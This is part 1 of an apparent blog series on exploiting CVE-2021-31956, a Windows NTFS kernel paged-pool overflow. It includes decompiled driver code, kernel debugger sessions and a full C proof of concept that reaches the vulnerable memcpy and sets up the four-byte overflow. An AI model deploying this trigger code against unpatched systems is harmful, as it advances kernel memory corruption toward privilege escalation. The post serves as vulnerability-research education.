Windows Kernel Pool Exploitation CVE-2021-31956 - Part 1
This blog post is about a Windows Kernel Paged Pool Overflow going by the identifier CVE-2021-31956
and how to exploit it from a Low Integrity
point of view. We don’t cover any novel exploitation techniques, but if you are curious about a Kernel Heap Overflow and how an exploit and all the required steps might look like, you’re at the right address.
I intentionally will talk about my failures. While it’s hard to admit them publicly I like to think that it helps people try more stuff and get into fields they might have scared them off.
Starting Point
I started this journey with the information provided from this securelist blog post and while other writeups exist (1, haven’t read it yet) about this bug itself and the exploitation I set the following restrictions to myself:
- Has to work from
Low Integrity
execution level (NoNtQuerySystemInformation
/EnumDeviceDrivers
) - No further information (blog posts,…) about the bug itself other than the securelist blog post
- Use the
Scoop the Windows pool
technique presented by Corentin Bayet and Paul Fariello of Synack link to paper
The securelist blog post did give us the following information (and reading it in hindsight even a bit more):
- Integer Underflow leading to an Overflow
- Vulnerability lies inside the
ntfs.sys
drivers’NtfsQueryEaUserEaList
function - The actual researcher/VR/XDev used the Windows Notification Facility (WNF) to turn the overflow into an arbitrary read/write
With the starting point settled, let’s dive into the bug itself.
The Bug
I started by reversing the ntfs.sys
driver, particularly the function of interest NtfsQueryEaUserEaList
and it’s caller functions. With the information from the securelist blog post it’s easy to see where things can go wrong.
The crucial part is to discard all paths we don’t want to take, which are of course code paths not leading to the vulnerability or leading to the vulnerability in an unexploitable state. Next I tried to make the decompilation of the NtfsQueryEaUserEaList
as pretty and understandable as possible, at least the parts we cared for.
This means naming variables, writing some comments (don’t go into this if
, underflow here, …). This helps so much, years ago I skipped these “minor details” just to struggle with missing information later on or even worse an “understanding” based on wrong assumptions.
During dynamic analysis (running a PoC with a debugger attached) we again see if things are going well (we reach the vulnerable function NtfsQueryEaUserEaList
) and reach the vulnerable part of the function. If not, see where we diversed from the track and work towards it. This is a step by step process, at least sometimes.
The following is a simplified version of the function in question:
int128_t* NtfsQueryEaUserEaList(int128_t* arg1, PFILE_FULL_EA_INFORMATION user_file_full_ea_info, void* arg3, int64_t memcpy_dst_pool_base_addr, int32_t out_buf_len, void* arg6, char arg7)
int32_t padding = 0;
while (true) {
if (NtfsIsEaNameValid(&ea_name_to_find) == 0) {
// we don't wanna go here, so ensure that EaName is valid
// snip 8<
}
// NtfsLocateEaByName returns 1 if name is found, 0 otherwise
// As we want to not go into the `if` statement, the EA name we look for should be within the EAs of the file
while (true) {
if (NtfsLocateEaByName(file_full_ea_info: user_file_full_ea_info, file_full_ea_info_len: *(arg3 + 4), &ea_name_to_find, _out_ea_offset: &corresponding_offset_into_ea) == 0) {
// snip 8<
goto skip_memcpy_vuln;
}
int64_t* ea_name_val_block = zx.q(corresponding_offset_into_ea) + user_file_full_ea_info
block_size = zx.d(*(ea_name_val_block + 5)) + 9 + zx.d(*(ea_name_val_block + 6))
// integer underflow possible
if (block_size u> out_buf_len - padding)
// snip 8<
goto exit_out
// according to the kaspersky blog post here is the overflow
memcpy(out_buf_pos, ea_name_val_block, zx.q(block_size))
*out_buf_pos = 0
skip_memcpy_vuln:
some_offset_2 = some_offset + block_size + padding
some_offset_1 = some_offset_2
if (out_buf_pos_1 != 0)
*out_buf_pos_1 = out_buf_pos.d - out_buf_pos_1.d
out_buf_pos_1 = out_buf_pos
out_buf_len -= block_size + padding
padding = ((block_size + 3) & 0xfffffffc) - block_size
goto label_1c01c2c5a
}
label_1c01c2c5a:
rbx += r14_1
}
We will go into more detail about the vulnerability in a bit, for now, this gives us an idea. Next I wanted to create a PoC which is able to reach that functionality.
Where PoC?
So how do we reach that function? Feeling super smart I just set a breakpoint on said function and waited for the OS to do the job for me. Giving me callstacks like the one shown below:
0: kd> bp ntfs!NtfsQueryEaUserEaList
0: kd> g
Breakpoint 1 hit
Ntfs!NtfsQueryEaUserEaList:
fffff806`20bac124 4c894c2420 mov qword ptr [rsp+20h],r9
0: kd> k
# Child-SP RetAddr Call Site
00 ffff868a`2f29e238 fffff806`20babc7a Ntfs!NtfsQueryEaUserEaList
01 ffff868a`2f29e240 fffff806`20c0c8a6 Ntfs!NtfsCommonQueryEa+0x22a
02 ffff868a`2f29e3a0 fffff806`20c0c600 Ntfs!NtfsFsdDispatchSwitch+0x286
03 ffff868a`2f29e4d0 fffff806`1dad1f35 Ntfs!NtfsFsdDispatchWait+0x40
04 ffff868a`2f29e770 fffff806`1a8c6ccf nt!IofCallDriver+0x55
05 ffff868a`2f29e7b0 fffff806`1a8c48d3 FLTMGR!FltpLegacyProcessingAfterPreCallbacksCompleted+0x28f
06 ffff868a`2f29e820 fffff806`1dad1f35 FLTMGR!FltpDispatch+0xa3
07 ffff868a`2f29e880 fffff806`1ddeabfc nt!IofCallDriver+0x55
08 ffff868a`2f29e8c0 fffff806`1ff4817d nt!FsRtlQueryKernelEaFile+0x12c
09 ffff868a`2f29e930 fffff806`1ff513c7 CI!CipGetFileCache+0x2f9
0a ffff868a`2f29ea60 fffff806`1ff4f577 CI!CipValidateFileInCache+0xa3
0b ffff868a`2f29eb40 fffff806`1de7bdf5 CI!CiValidateImageHeader+0x3a7
0c ffff868a`2f29ecc0 fffff806`1de7b890 nt!SeValidateImageHeader+0xd9
0d ffff868a`2f29ed70 fffff806`1ddedf13 nt!MiValidateSectionCreate+0x438
0e ffff868a`2f29ef50 fffff806`1ddede41 nt!MiValidateSectionSigningPolicy+0xab
0f ffff868a`2f29efb0 fffff806`1ddeda37 nt!MiValidateExistingImage+0x371
10 ffff868a`2f29f060 fffff806`1dedf97d nt!MiShareExistingControlArea+0xc7
11 ffff868a`2f29f090 fffff806`1dedf0f4 nt!MiCreateImageOrDataSection+0x1ad
12 ffff868a`2f29f180 fffff806`1dedeed7 nt!MiCreateSection+0xf4
13 ffff868a`2f29f300 fffff806`1dedecbc nt!MiCreateSectionCommon+0x207
14 ffff868a`2f29f3e0 fffff806`1dc058b8 nt!NtCreateSection+0x5c
15 ffff868a`2f29f450 00007ffb`a430c704 nt!KiSystemServiceCopyEnd+0x28
16 000000f6`d192e468 00007ffb`a42d233a ntdll!NtCreateSection+0x14
17 000000f6`d192e470 00007ffb`a42d218c ntdll!LdrpMapDllNtFileName+0x14a
18 000000f6`d192e570 00007ffb`a42d152f ntdll!LdrpMapDllFullPath+0xe0
19 000000f6`d192e700 00007ffb`a42a4c4b ntdll!LdrpProcessWork+0x123
1a 000000f6`d192e760 00007ffb`a42ac414 ntdll!LdrpLoadDllInternal+0x13f
1b 000000f6`d192e7e0 00007ffb`a42ac612 ntdll!LdrpLoadForwardedDll+0x138
1c 000000f6`d192eaf0 00007ffb`a4292b97 ntdll!LdrpGetDelayloadExportDll+0xa2
1d 000000f6`d192ec00 00007ffb`a42a4196 ntdll!LdrpHandleProtectedDelayload+0x87
1e 000000f6`d192f1d0 00007ffb`a3c9c7d2 ntdll!LdrResolveDelayLoadedAPI+0xc6
1f 000000f6`d192f260 00000000`00000001 0x00007ffb`a3c9c7d2
20 000000f6`d192f268 00007ffb`a3ec61e8 0x1
21 000000f6`d192f270 00000000`00000000 0x00007ffb`a3ec61e8
Long story short, this led me into unnecessary rabbit holes reversing ntdll!NtCreateSection
, ntdll!LdrResolveDelayLoadedAPI
and other functions within this callstack or the functions of other callstacks leading up to NtfsQueryEaUserEaList
while it was an ego thing with the idea of using as little public information as possible, I callend an end to that exercise.
Further googling about extended attributes (EAs) within NTFS
was the better choice, getting an understanding of the technology, seeing code samples of developers using them etc. Surprise surprise there are dedicated functions for this!
One great blog post was https://hex.pp.ua/extended-attributes.php which listed structures and the API calls NtQueryEaFile
and NtSetEaFile
also including example code to query and set EAs.
NTSTATUS
NtSetEaFile(
IN HANDLE FileHandle,
IN PIO_STATUS_BLOCK IoStatusBlock,
PVOID EaBuffer,
ULONG EaBufferSize
);
NTSTATUS
NtQueryEaFile(
IN HANDLE FileHandle,
OUT PIO_STATUS_BLOCK IoStatusBlock,
OUT PVOID Buffer,
IN ULONG Length,
IN BOOLEAN ReturnSingleEntry,
IN PVOID EaList OPTIONAL,
IN ULONG EaListLength,
IN PULONG EaIndex OPTIONAL,
IN BOOLEAN RestartScan
);
This was great, I adapted the code to fit my use case (based on the vulnerable code I knew I had to use more than one EA). The code did try to set two or three EAs into a file using NtSetEaFile
and then should read these through NtQueryEaFile
.
Building the exe, attaching a kernel debugger to the vulnerable host, setting a breakpoint on NtfsQueryEaUserEaList
stemming from the respective process (you’ll see how this is done later on) and we run into errors before even calling NtQueryEaFile
.
The first errors while trying to set multiple attributes then errors trying to query the attributes. The issues mostly stemmed from the fact that we need to set the fields NextEntryOffset
, EaNameLength
and EaValueLength
precisely.
typedef struct _FILE_FULL_EA_INFORMATION
{
ULONG NextEntryOffset;
UCHAR Flags;
UCHAR EaNameLength;
USHORT EaValueLength;
CHAR EaName[1];
} FILE_FULL_EA_INFORMATION, *PFILE_FULL_EA_INFORMATION;
Also the EaName
must not contain any non-ascii characters, this will be important later on. Having figured that out, I tried to simplify it and used the same name and value lengths for the EAs I wanted to set. In hindsight I should have made it modular from the get go.
Now finally, compiling, setting a breakpoint, execution aaand … nothing. Didn’t hit NtfsQueryEaUserEaList
. First I though it might have something to do with the Flags
field, but this was not the case.
In hindsight again it was obvious, the vulnerable function has EaList
in it’s name and I hadn’t set the EaList
and EaListLength
parameters:
IN PVOID EaList OPTIONAL,
IN ULONG EaListLength,
However I came only to that conclusion after reversing more (up the callstack), debugging and trial and error (goto: reversing
) that I did miss that.
Eventually I was able to trigger the vulnerable function. So let’s figure out how we are getting that overflow next. This was the source code of the PoC at that time:
#include <windows.h>
#include <stdio.h>
#include <ntstatus.h>
#include <winternl.h>
// Ressources:
// https://securelist.com/puzzlemaker-chrome-zero-day-exploit-chain/102771/
// https://hex.pp.ua/extended-attributes.php
// https://github.com/uvbs/obfuscation-crypto-repo/blob/master/Krypton_7.1/Bin/SYS/ntundoc.h
// http://undocumented.ntinternals.net/index.html?page=UserMode%2FUndocumented%20Functions%2FNT%20Objects%2FFile%2FFILE_GET_EA_INFORMATION.html
//
#define STATUS_INVALID_EA_NAME ((NTSTATUS)0x80000013L)
#define STATUS_EA_LIST_INCONSISTENT ((NTSTATUS)0x80000014L)
#define STATUS_EA_TOO_LARGE ((NTSTATUS)0xC0000050L)
#define STATUS_EAS_NOT_SUPPORTED ((NTSTATUS)0xC000004FL)
#define STATUS_EA_CORRUPT_ERROR ((NTSTATUS)0xC0000053L)
#define MAX_EA_NAME_LEN 255
// Function prototypes for the Native API functions
typedef NTSTATUS(NTAPI* NtSetEaFile_t)(
HANDLE FileHandle,
PIO_STATUS_BLOCK IoStatusBlock,
PVOID Buffer,
ULONG Length
);
typedef NTSTATUS(NTAPI* NtQueryEaFile_t)(
HANDLE FileHandle,
PIO_STATUS_BLOCK IoStatusBlock,
PVOID Buffer,
ULONG Length,
BOOLEAN ReturnSingleEntry,
PVOID EaList,
ULONG EaListLength,
PULONG EaIndex,
BOOLEAN RestartScan
);
#define EA_NAME "User.Comment321"
#define EA_NAME2 "User.Comment222"
#define EA_NAME_LENGTH (sizeof(EA_NAME) - 1)
#define EA_NAME_LENGTH2 (sizeof(EA_NAME2) - 1)
typedef struct _FILE_FULL_EA_INFORMATION {
ULONG NextEntryOffset;
UCHAR Flags;
UCHAR EaNameLength;
USHORT EaValueLength;
CHAR EaName[1];
} FILE_FULL_EA_INFORMATION, * PFILE_FULL_EA_INFORMATION;
typedef struct _FILE_GET_EA_INFORMATION {
ULONG NextEntryOffset;
BYTE EaNameLength;
CHAR EaName[1];
} FILE_GET_EA_INFORMATION, * PFILE_GET_EA_INFORMATION;
void query_extended_attributes(HANDLE hFile, NtQueryEaFile_t NtQueryEaFile) {
ULONG queryBufferSize = 1024;
PFILE_FULL_EA_INFORMATION queryBuffer = (PFILE_FULL_EA_INFORMATION)malloc(queryBufferSize);
if (!queryBuffer) {
printf("Memory allocation error\n");
return;
}
ULONG eaBufferSize = 9 + EA_NAME_LENGTH;
PFILE_GET_EA_INFORMATION file_get_ea_inf1 = (PFILE_GET_EA_INFORMATION)malloc(eaBufferSize);
PFILE_GET_EA_INFORMATION file_get_ea_inf2 = (PFILE_GET_EA_INFORMATION)malloc(eaBufferSize);
file_get_ea_inf1->NextEntryOffset = eaBufferSize;
file_get_ea_inf1->EaNameLength = EA_NAME_LENGTH;
file_get_ea_inf2->NextEntryOffset = 0;
file_get_ea_inf2->EaNameLength = EA_NAME_LENGTH;
memcpy(file_get_ea_inf1->EaName, EA_NAME, EA_NAME_LENGTH + 1);
memcpy(file_get_ea_inf2->EaName, EA_NAME2, EA_NAME_LENGTH + 1);
char* buf = (char*)malloc(eaBufferSize * 2);
memcpy(buf, file_get_ea_inf1, eaBufferSize);
memcpy(buf + eaBufferSize, file_get_ea_inf2, eaBufferSize);
ULONG eaIndex = 0;
/* END TESTS */
IO_STATUS_BLOCK ioStatus;
NTSTATUS status = NtQueryEaFile(hFile, &ioStatus, queryBuffer, queryBufferSize, FALSE, buf, eaBufferSize*2, &eaIndex, TRUE);
//NTSTATUS status = NtQueryEaFile(hFile, &ioStatus, queryBuffer, queryBufferSize, FALSE, 0, 0, 0, TRUE);
if (status != STATUS_SUCCESS) {
printf("NtQueryEaFile error: %08x\n", status);
free(queryBuffer);
return;
}
printf("Extended attributes queried successfully\n");
PFILE_FULL_EA_INFORMATION eaEntry = queryBuffer;
do {
printf("EA Name: %.*s\n", eaEntry->EaNameLength, eaEntry->EaName);
printf("EA Value: %.*s\n", eaEntry->EaValueLength, eaEntry->EaName + eaEntry->EaNameLength + 1);
if (eaEntry->NextEntryOffset == 0)
break;
eaEntry = (PFILE_FULL_EA_INFORMATION)((PUCHAR)eaEntry + eaEntry->NextEntryOffset);
} while (TRUE);
free(queryBuffer);
}
BOOL set_extended_attributes(HANDLE hFile, NtSetEaFile_t NtSetEaFile) {
// Set extended attribute
CHAR eaValue[] = "This is a comment123";
CHAR eaValue2[] = "This is a comment124";
ULONG eaValueLength = sizeof(eaValue);
ULONG eaBufferSize = sizeof(FILE_FULL_EA_INFORMATION) + EA_NAME_LENGTH + eaValueLength;
PFILE_FULL_EA_INFORMATION eaBuffer1 = (PFILE_FULL_EA_INFORMATION)malloc(eaBufferSize);
PFILE_FULL_EA_INFORMATION eaBuffer2 = (PFILE_FULL_EA_INFORMATION)malloc(eaBufferSize);
if (!eaBuffer1 || !eaBuffer2) {
printf("Memory allocation error\n");
CloseHandle(hFile);
return 0;
}
eaBuffer1->NextEntryOffset = eaBufferSize;
eaBuffer1->Flags = 0x80;
eaBuffer1->EaNameLength = EA_NAME_LENGTH;
eaBuffer1->EaValueLength = eaValueLength;
memcpy(eaBuffer1->EaName, EA_NAME, EA_NAME_LENGTH + 1);
memcpy(eaBuffer1->EaName + EA_NAME_LENGTH + 1, eaValue, eaValueLength);
IO_STATUS_BLOCK ioStatus;
//NTSTATUS status = NtSetEaFile(hFile, &ioStatus, eaBuffer, eaBufferSize);
// second EA
eaBuffer2->NextEntryOffset = 0;
eaBuffer2->Flags = 0x80;
eaBuffer2->EaNameLength = EA_NAME_LENGTH2;
eaBuffer2->EaValueLength = eaValueLength;
memcpy(eaBuffer2->EaName, EA_NAME2, EA_NAME_LENGTH2 + 1);
memcpy(eaBuffer2->EaName + EA_NAME_LENGTH2 + 1, eaValue2, eaValueLength);
char* buf = (char*)malloc(eaBufferSize * 2);
memcpy(buf, eaBuffer1, eaBufferSize);
memcpy(buf + eaBufferSize, eaBuffer2, eaBufferSize);
NTSTATUS status = NtSetEaFile(hFile, &ioStatus, buf, eaBufferSize*2);
if (status != STATUS_SUCCESS) {
printf("NtSetEaFile error: %08x\n", status);
free(buf);
free(eaBuffer1);
free(eaBuffer2);
CloseHandle(hFile);
return 0;
}
printf("Extended attribute set successfully\n");
return 1;
}
int main() {
// Load ntdll.dll and get the addresses of the functions
HMODULE ntdll = LoadLibraryA("ntdll.dll");
if (!ntdll) {
printf("Error loading ntdll.dll\n");
return 1;
}
NtSetEaFile_t NtSetEaFile = (NtSetEaFile_t)GetProcAddress(ntdll, "NtSetEaFile");
NtQueryEaFile_t NtQueryEaFile = (NtQueryEaFile_t)GetProcAddress(ntdll, "NtQueryEaFile");
if (!NtSetEaFile || !NtQueryEaFile) {
printf("Error finding NtSetEaFile or NtQueryEaFile\n");
return 1;
}
// File to set/query extended attributes
const char* fileName = "example.txt";
HANDLE hFile = CreateFileA(fileName, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, FILE_FLAG_BACKUP_SEMANTICS, NULL);
if (hFile == INVALID_HANDLE_VALUE) {
printf("Error opening file: %lu\n", GetLastError());
return 1;
}
set_extended_attributes(hFile, NtSetEaFile);
printf("[>] Continue to do a NtQueryEaFile? > ");
getchar();
query_extended_attributes(hFile, NtQueryEaFile);
CloseHandle(hFile);
return 0;
}
Setting a breakpoint before the memcpy
happens within NtfsQueryEaUserEaList
and after the breakpoint got hit brings us this state:
1: kd>
Ntfs!NtfsQueryEaUserEaList+0x1c5:
fffff800`61b8c2e9 e81258f5ff call Ntfs!memcpy (fffff800`61ae1b00)
// Windows x64 calling convention is most of the time function_call(rcx, rdx, r8, r9)
// rest of the paremeters are put on the stack
1: kd> r rcx, rdx, r8, r9
rcx=ffff9c8a59465b70 rdx=ffffc48e60e2dd88 r8=000000000000002d r9=fffffb0ddb55ebf0
1: kd> db ffff9c8a59465b70 l60
ffff9c8a`59465b70 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
ffff9c8a`59465b80 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
ffff9c8a`59465b90 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
ffff9c8a`59465ba0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
ffff9c8a`59465bb0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
ffff9c8a`59465bc0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
1: kd> !pool @rcx
unable to get nt!PspSessionIdBitmap
Pool page ffff9c8a59465b70 region is Paged pool
ffff9c8a59465000 size: 30 previous size: 0 (Free) ....
ffff9c8a59465040 size: 580 previous size: 0 (Allocated) Ntff
ffff9c8a594655d0 size: 580 previous size: 0 (Allocated) Ntff
*ffff9c8a59465b60 size: 440 previous size: 0 (Allocated) *NtFE
Pooltag NtFE : Ea.c, Binary : ntfs.sys
ffff9c8a59465fa0 size: 40 previous size: 0 (Free) m.+^
We can see that we have allocated a chunk of size 0x440
and the chunk resides within the Paged pool.
Inspecting the source data:
1: kd> db @rdx l85
ffffc48e`60e2dd88 30 00 00 00 80 0f 15 00-55 53 45 52 2e 43 4f 4d 0.......USER.COM
ffffc48e`60e2dd98 4d 45 4e 54 33 32 31 00-54 68 69 73 20 69 73 20 MENT321.This is
ffffc48e`60e2dda8 61 20 63 6f 6d 6d 65 6e-74 31 32 33 00 00 6f 00 a comment123..o.
ffffc48e`60e2ddb8 2c 00 00 00 80 0d 15 00-55 53 45 52 2e 43 4f 4d ,.......USER.COM
ffffc48e`60e2ddc8 4d 45 4e 54 32 00 54 68-69 73 20 69 73 20 61 20 MENT2.This is a
ffffc48e`60e2ddd8 63 6f 6d 6d 65 6e 74 31-32 34 00 42 00 00 00 00 comment124.B....
ffffc48e`60e2dde8 ff ff ff ff 82 79 47 11-00 00 00 00 00 00 00 00 .....yG.........
ffffc48e`60e2ddf8 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
ffffc48e`60e2de08 00 00 00 00 00 .....
The source is the EA name and EA value. During normal execution the source data we would actually copy is of length 0x2d
(for this EA)
1: kd> db @rdx l2d
ffffc48e`60e2dd88 30 00 00 00 80 0f 15 00-55 53 45 52 2e 43 4f 4d 0.......USER.COM
ffffc48e`60e2dd98 4d 45 4e 54 33 32 31 00-54 68 69 73 20 69 73 20 MENT321.This is
ffffc48e`60e2dda8 61 20 63 6f 6d 6d 65 6e-74 31 32 33 00 a comment123.
So the EA name and value get copied into the destination, one by one. With that understanding it’s time to revisit the vulnerability again and see how we would be able to trigger it.
Getting the Overflow
We finished off with code thats finally able to reach the vulnerable function. The next step for me was to get a better understanding of the vulnerability and the overall logic of the function. After all, we just want to have a four byte overflow of controlled/arbitrary data into the next chunk.
Through reversing we know that the destination buffer used during the memcpy
is allcoated on the Paged Pool within NtfsCommonQueryEa
(caller of the vulnerable function) and stems from the respective IRP
.
Subsequent dynamic testing where we modify the queryBufferSize
within our NtQueryEaFile
call showed, that the allocation within the kernel space is the user controllable queryBufferSize + sizeof(PoolMetadata)
(the size of the PoolMetadata
differs for the respective backend allocator).
That we have much control over the allocated kernel buffer is great as it gives us quite an amount of flexibility regarding the backend allocator we want to use (LFH,VS), the bucket size and potentially better control of the overflow. Of course we have to ensure that the different sizes result in an exploitable condition.
Looking back at the decompilation and the disassembly in addition to inspecting the involved registers leaves us with the following simplification of the bug:
char *output_buf = malloc(out_buf_len+sizeof(PoolMetadata));
int padding = 0
while (true) {
EA ea_name_val_block = offset_into_curr_ea + user_file_full_ea_info
uint32_t block_size = ea_name_val_block.name_len + ea_name_val_block.val_len + 9;
if (block_size < out_buf_len - padding)
break
memcpy(output_buf, curr_ea_name_val_pair, size_of_ea_name_val_pair);
out_buf_len -= block_size + padding
padding = ((block_size + 3) & 0xfffffffc) - block_size
output_buf += block_size + padding
}
The possible values for padding are 0-3
. So when output_buf_len
gets to 0-2
and padding becomes 3
we get an integer overflow and pass the check while the actual buffer does not have enough space for the EA to be copied into.
We do pass the check due to an unsigned comparison. If the left parameter is an unsigned int
and the right parameter is an int
within the comparison, the right parameter will be casted/promoted to an unsinged int
too, creating the exploitable condition. You can read more about this in the chapter Chapter 6 - C Language Issues: Type Conversion
of the awesome book The Art of Software Security Assessments
. Below is an excerpt of the table describing the conversion we saw.
I adapted the code with the PoC to use a output_buf_len
of 0x143
, below I’ll show you the states leading to the discussed comparisons.
// Get the `_EPROCESS` address of our process
0: kd> !process 0 0 CVE-2021-31956.exe
PROCESS ffff9b8e92ad3340
SessionId: 1 Cid: 1980 Peb: f581868000 ParentCid: 0b44
DirBase: 22d917000 ObjectTable: ffffd8892f128d40 HandleCount: 283305.
Image: CVE-2021-31956.exe
// Set a breakpoint just before the interesting part happens
0: kd> ba e1 /p ffff9b8e92ad3340 ntfs+00000000`000dc2b7
0: kd> g
Breakpoint 1 hit
Ntfs!NtfsQueryEaUserEaList+0x193:
fffff803`0cb8c2b7 4903d6 add rdx,r14
// snip
/// 1. Iteration (first EA)
// subtract padding from out_buf_len, first time no padding
0: kd> t
Ntfs!NtfsQueryEaUserEaList+0x196:
fffff803`0cb8c2ba 412bc7 sub eax,r15d
1: kd> r eax, r15d
eax=143 r15d=0
// if (block_size u> out_buf_len - padding) // r14d=block_size; eax=(out_buf_len-padding)
1: kd> t
Ntfs!NtfsQueryEaUserEaList+0x1a9:
fffff803`0cb8c2cd 443bf0 cmp r14d,eax
1: kd> r r14d, eax
r14d=99 eax=143
So we pass the validation, go into the memcpy
and the padding value will be set to 3
, I just wrote a simple C
program to do the calcuation for me:
#include<stdio.h>
int main() {
int block_size = 0x99;
int padding = ((block_size + 3) & 0xfffffffc) - block_size;
printf("padding: %d\n", padding);
return 0;
}
user@user:/tmp$ gcc a.c -o a && ./a
padding: 3
After all, it’s just padding’ up to be a multiple of four, but doing it this way leaves less room for errors, especially while I’m not perfect with doing hex calculations and conversions within my head.
Proceeding to the memcpy
and inspecting the memory afterwards:
// pc - continue up to the next `call` instruction
1: kd> pc
Ntfs!NtfsQueryEaUserEaList+0x1c5:
fffff803`0cb8c2e9 e81258f5ff call Ntfs!memcpy (fffff803`0cae1b00)
// calling convention is function_call(rcx, rdx, r8, r9, <values on stack>)
1: kd> r rcx, rdx, r8
rcx=ffffd889349859d0 rdx=ffffc60a464810e0 r8=0000000000000099
// step over the execution
1: kd> p
Ntfs!NtfsQueryEaUserEaList+0x1ca:
fffff803`0cb8c2ee 41897d00 mov dword ptr [r13],edi
// inspect the written data
1: kd> db ffffd889349859d0 l0x99
ffffd889`349859d0 9c 00 00 00 00 0f 81 00-55 53 45 52 2e 43 4f 4d ........USER.COM
ffffd889`349859e0 4d 45 4e 54 33 32 31 00-54 68 69 73 20 69 73 20 MENT321.This is
ffffd889`349859f0 61 20 63 6f ff 6d 65 6e-74 31 32 33 41 41 41 41 a co.ment123AAAA
ffffd889`34985a00 42 42 42 42 43 43 43 43-44 44 44 44 45 45 45 45 BBBBCCCCDDDDEEEE
ffffd889`34985a10 46 46 46 46 41 41 41 41-42 42 42 42 43 43 43 43 FFFFAAAABBBBCCCC
ffffd889`34985a20 44 44 44 44 45 45 45 45-46 46 46 46 47 47 47 47 DDDDEEEEFFFFGGGG
ffffd889`34985a30 48 48 48 48 4a 4a 4a 4a-4b 4b 4b 4b 4c 4c 4c 4c HHHHJJJJKKKKLLLL
ffffd889`34985a40 4d 4d 4d 4d 4e 4e 4e 4e-4f 4f 4f 4f 50 50 50 50 MMMMNNNNOOOOPPPP
ffffd889`34985a50 01 02 03 04 05 06 07 08-01 02 03 04 05 06 07 08 ................
ffffd889`34985a60 01 02 03 04 05 06 07 08-00 .........
So we can confirm that the first EA is successfully written into the buffer. Lets continue and see what the next iteration does:
1: kd> g
Breakpoint 1 hit
/// 2. Iteration (second EA)
1: kd> t
Ntfs!NtfsQueryEaUserEaList+0x196:
fffff803`0cb8c2ba 412bc7 sub eax,r15d
1: kd> r eax, r15d
eax=aa r15d=3
1: kd> ?143-99
Evaluate expression: 170 = 00000000`000000aa
0xaa
is the result of our original output_buf_len
minus the previous block_size
of 0x99
. And as we already calculated the padding is 3
.
// if (block_size u> out_buf_len - padding) // r14d=block_size; eax=(out_buf_len-padding)
1: kd> t
Ntfs!NtfsQueryEaUserEaList+0x1a9:
fffff803`0cb8c2cd 443bf0 cmp r14d,eax
1: kd> r r14d, eax
r14d=a5 eax=a7
We again pass the validation as 0xa5
is smaller than 0xa7
. We continue directly to the third iteration and skip the memcpy
inspection this time.
1: kd> g
Breakpoint 1 hit
1: kd> t
Ntfs!NtfsQueryEaUserEaList+0x196:
fffff803`0cb8c2ba 412bc7 sub eax,r15d
1: kd> r eax, r15d
eax=2 r15d=3
1: kd> t
1: kd> r eax
eax=ffffffff
This time we have a out_buf_len
of 2
and a padding of 3
during the sub
instruction, which leads to an eax
value of 0xffffffff
.
This is the integer underflow we were talking about all that time! We got it. So we just have a remaining space of two bytes within our buffer but we are going to reach the memcpy
.
1: kd> t
Ntfs!NtfsQueryEaUserEaList+0x1a9:
fffff803`0cb8c2cd 443bf0 cmp r14d,eax
1: kd> r r14d, eax
r14d=10 eax=ffffffff
The last EA block size is 0x10
and is 0xffffffff
(out_buf_len-padding
) larger than that? At least for unsigned comparison it is.
Inspecting the state of the pool buffers before the memcpy
1: kd> !pool ffffd88934985b14
Pool page ffffd88934985b14 region is Paged pool
// snip
*ffffd889349859c0 size: 160 previous size: 0 (Allocated) *NtFE
Pooltag NtFE : Ea.c, Binary : ntfs.sys
ffffd88934985b20 size: 160 previous size: 0 (Allocated) NpAt
// snip
// data in chunk and start of adjacent chunk before the third memcpy leading to the overflow
1: kd> db ffffd889349859c0 l180
ffffd889`349859c0 00 00 16 03 4e 74 46 45-00 00 00 00 00 00 00 00 ....NtFE........
ffffd889`349859d0 9c 00 00 00 00 0f 81 00-55 53 45 52 2e 43 4f 4d ........USER.COM
ffffd889`349859e0 4d 45 4e 54 33 32 31 00-54 68 69 73 20 69 73 20 MENT321.This is
ffffd889`349859f0 61 20 63 6f ff 6d 65 6e-74 31 32 33 41 41 41 41 a co.ment123AAAA
ffffd889`34985a00 42 42 42 42 43 43 43 43-44 44 44 44 45 45 45 45 BBBBCCCCDDDDEEEE
ffffd889`34985a10 46 46 46 46 41 41 41 41-42 42 42 42 43 43 43 43 FFFFAAAABBBBCCCC
ffffd889`34985a20 44 44 44 44 45 45 45 45-46 46 46 46 47 47 47 47 DDDDEEEEFFFFGGGG
ffffd889`34985a30 48 48 48 48 4a 4a 4a 4a-4b 4b 4b 4b 4c 4c 4c 4c HHHHJJJJKKKKLLLL
ffffd889`34985a40 4d 4d 4d 4d 4e 4e 4e 4e-4f 4f 4f 4f 50 50 50 50 MMMMNNNNOOOOPPPP
ffffd889`34985a50 01 02 03 04 05 06 07 08-01 02 03 04 05 06 07 08 ................
ffffd889`34985a60 01 02 03 04 05 06 07 08-00 00 00 00 00 00 00 00 ................
ffffd889`34985a70 00 0f 8d 00 55 53 45 52-2e 43 4f 4d 4d 45 4e 54 ....USER.COMMENT
ffffd889`34985a80 32 32 32 00 54 68 69 73-20 69 73 20 61 20 63 6f 222.This is a co
ffffd889`34985a90 ff 6d 65 6e 74 31 32 33-41 41 41 41 42 42 42 42 .ment123AAAABBBB
ffffd889`34985aa0 43 43 43 43 44 44 44 44-45 45 45 45 46 46 46 46 CCCCDDDDEEEEFFFF
ffffd889`34985ab0 47 47 48 48 48 48 49 49-49 49 4a 4a 41 41 41 41 GGHHHHIIIIJJAAAA
ffffd889`34985ac0 42 42 42 42 43 43 43 43-44 44 44 44 45 45 45 45 BBBBCCCCDDDDEEEE
ffffd889`34985ad0 46 46 46 46 47 47 47 47-48 48 48 48 4a 4a 4a 4a FFFFGGGGHHHHJJJJ
ffffd889`34985ae0 4b 4b 4b 4b 4c 4c 4c 4c-4d 4d 4d 4d 4e 4e 4e 4e KKKKLLLLMMMMNNNN
ffffd889`34985af0 4f 4f 4f 4f 50 50 50 50-01 02 03 04 05 06 07 08 OOOOPPPP........
ffffd889`34985b00 01 02 03 04 05 06 07 08-01 02 03 04 05 06 07 08 ................
ffffd889`34985b10 00 00 00 00 24 00 00 00-00 00 00 00 03 00 00 00 ....$...........
